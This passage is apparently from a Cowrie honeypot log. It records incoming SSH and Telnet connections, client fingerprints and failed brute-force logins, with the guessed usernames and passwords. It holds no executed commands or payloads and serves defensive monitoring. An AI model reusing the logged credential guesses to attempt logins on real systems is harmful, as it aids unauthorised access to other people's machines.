sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:36.759419Z","src_ip":"103.27.238.120","session":"e6d2e424d63e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ariadna","message":"login attempt [root/ariadna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:37.498364Z","src_ip":"103.27.238.116","session":"5d4c8a8a70b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"auditt","message":"login attempt [root/auditt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:37.598905Z","src_ip":"103.27.238.120","session":"e6d2e424d63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:38.776625Z","src_ip":"103.27.238.116","session":"5d4c8a8a70b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:38.881529Z","src_ip":"103.27.238.120","session":"e6d2e424d63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46110,"dst_ip":"159.203.135.109","dst_port":23,"session":"029c423dacf1","protocol":"telnet","message":"New connection: 135.148.14.151:46110 (159.203.135.109:23) [session: 029c423dacf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:40.983629Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":50990,"dst_ip":"159.203.135.109","dst_port":22,"session":"30d2a61cc9b4","protocol":"ssh","message":"New connection: 129.226.4.94:50990 (159.203.135.109:22) [session: 30d2a61cc9b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:56.608778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:56.615087Z","src_ip":"129.226.4.94","session":"30d2a61cc9b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:56.852499Z","src_ip":"129.226.4.94","session":"30d2a61cc9b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456852","message":"login attempt [root/456852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:57.828862Z","src_ip":"129.226.4.94","session":"30d2a61cc9b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:00:59.068477Z","src_ip":"129.226.4.94","session":"30d2a61cc9b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54464,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bd490e9950c","protocol":"telnet","message":"New connection: 135.148.14.151:54464 (159.203.135.109:23) [session: 9bd490e9950c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:00.088698Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":33880,"dst_ip":"159.203.135.109","dst_port":22,"session":"4512e714ebc3","protocol":"ssh","message":"New connection: 2.57.121.25:33880 (159.203.135.109:22) [session: 4512e714ebc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:00.261986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:00.272326Z","src_ip":"2.57.121.25","session":"4512e714ebc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:00.373412Z","src_ip":"2.57.121.25","session":"4512e714ebc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100001","message":"login attempt [user/100001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:00.853292Z","src_ip":"2.57.121.25","session":"4512e714ebc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"091286","message":"login attempt [user/091286] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:01.957513Z","src_ip":"2.57.121.25","session":"4512e714ebc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09121991","message":"login attempt [user/09121991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:03.062016Z","src_ip":"2.57.121.25","session":"4512e714ebc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"09121980","message":"login attempt [user/09121980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:04.168421Z","src_ip":"2.57.121.25","session":"4512e714ebc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"0912","message":"login attempt [user/0912] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:05.273015Z","src_ip":"2.57.121.25","session":"4512e714ebc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:06.377145Z","src_ip":"2.57.121.25","session":"4512e714ebc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":37172,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fe5270381f1","protocol":"ssh","message":"New connection: 103.82.20.28:37172 (10.17.0.5:22) [session: 1fe5270381f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:08.089850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:08.099499Z","src_ip":"103.82.20.28","session":"1fe5270381f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:08.370161Z","src_ip":"103.82.20.28","session":"1fe5270381f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaz2108","message":"login attempt [root/vaz2108] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:09.184851Z","src_ip":"103.82.20.28","session":"1fe5270381f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59028,"dst_ip":"159.203.135.109","dst_port":23,"session":"87beaa79fde6","protocol":"telnet","message":"New connection: 135.148.14.151:59028 (159.203.135.109:23) [session: 87beaa79fde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:09.326110Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:10.454300Z","src_ip":"103.82.20.28","session":"1fe5270381f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.15911316871643,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:15.142606Z","src_ip":"135.148.14.151","session":"029c423dacf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.121068239212036,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:34.209648Z","src_ip":"135.148.14.151","session":"9bd490e9950c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.74410796165466,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:46.070109Z","src_ip":"135.148.14.151","session":"87beaa79fde6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55908,"dst_ip":"159.203.135.109","dst_port":22,"session":"daa6b895388e","protocol":"ssh","message":"New connection: 103.153.68.219:55908 (159.203.135.109:22) [session: daa6b895388e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:50.282677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:50.287919Z","src_ip":"103.153.68.219","session":"daa6b895388e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:50.541248Z","src_ip":"103.153.68.219","session":"daa6b895388e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jan323","message":"login attempt [root/jan323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:51.302114Z","src_ip":"103.153.68.219","session":"daa6b895388e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:01:52.558972Z","src_ip":"103.153.68.219","session":"daa6b895388e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49404,"dst_ip":"159.203.135.109","dst_port":22,"session":"26bf89933c67","protocol":"ssh","message":"New connection: 46.19.67.181:49404 (159.203.135.109:22) [session: 26bf89933c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:07.646327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:07.653509Z","src_ip":"46.19.67.181","session":"26bf89933c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:07.768942Z","src_ip":"46.19.67.181","session":"26bf89933c67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1337","message":"login attempt [root/qwerty1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:08.108628Z","src_ip":"46.19.67.181","session":"26bf89933c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53196,"dst_ip":"159.203.135.109","dst_port":23,"session":"886f785e3987","protocol":"telnet","message":"New connection: 135.148.14.151:53196 (159.203.135.109:23) [session: 886f785e3987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:08.659669Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56434,"dst_ip":"159.203.135.109","dst_port":23,"session":"e245c71862eb","protocol":"telnet","message":"New connection: 135.148.14.151:56434 (159.203.135.109:23) [session: e245c71862eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:08.794825Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:09.223263Z","src_ip":"46.19.67.181","session":"26bf89933c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43934,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f3108a4ef25","protocol":"telnet","message":"New connection: 135.148.14.151:43934 (159.203.135.109:23) [session: 5f3108a4ef25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:10.623738Z"}
{"eventid":"cowrie.session.closed","duration":0.0057141780853271484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:10.629320Z","src_ip":"135.148.14.151","session":"5f3108a4ef25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.226.4.94","src_port":53712,"dst_ip":"159.203.135.109","dst_port":22,"session":"927d4370b994","protocol":"ssh","message":"New connection: 129.226.4.94:53712 (159.203.135.109:22) [session: 927d4370b994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:23.693576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:23.699941Z","src_ip":"129.226.4.94","session":"927d4370b994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:23.941379Z","src_ip":"129.226.4.94","session":"927d4370b994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43310,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a50d5a1fa7","protocol":"ssh","message":"New connection: 87.251.79.125:43310 (159.203.135.109:22) [session: f4a50d5a1fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:24.388657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:02:24.398687Z","src_ip":"87.251.79.125","session":"f4a50d5a1fa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client 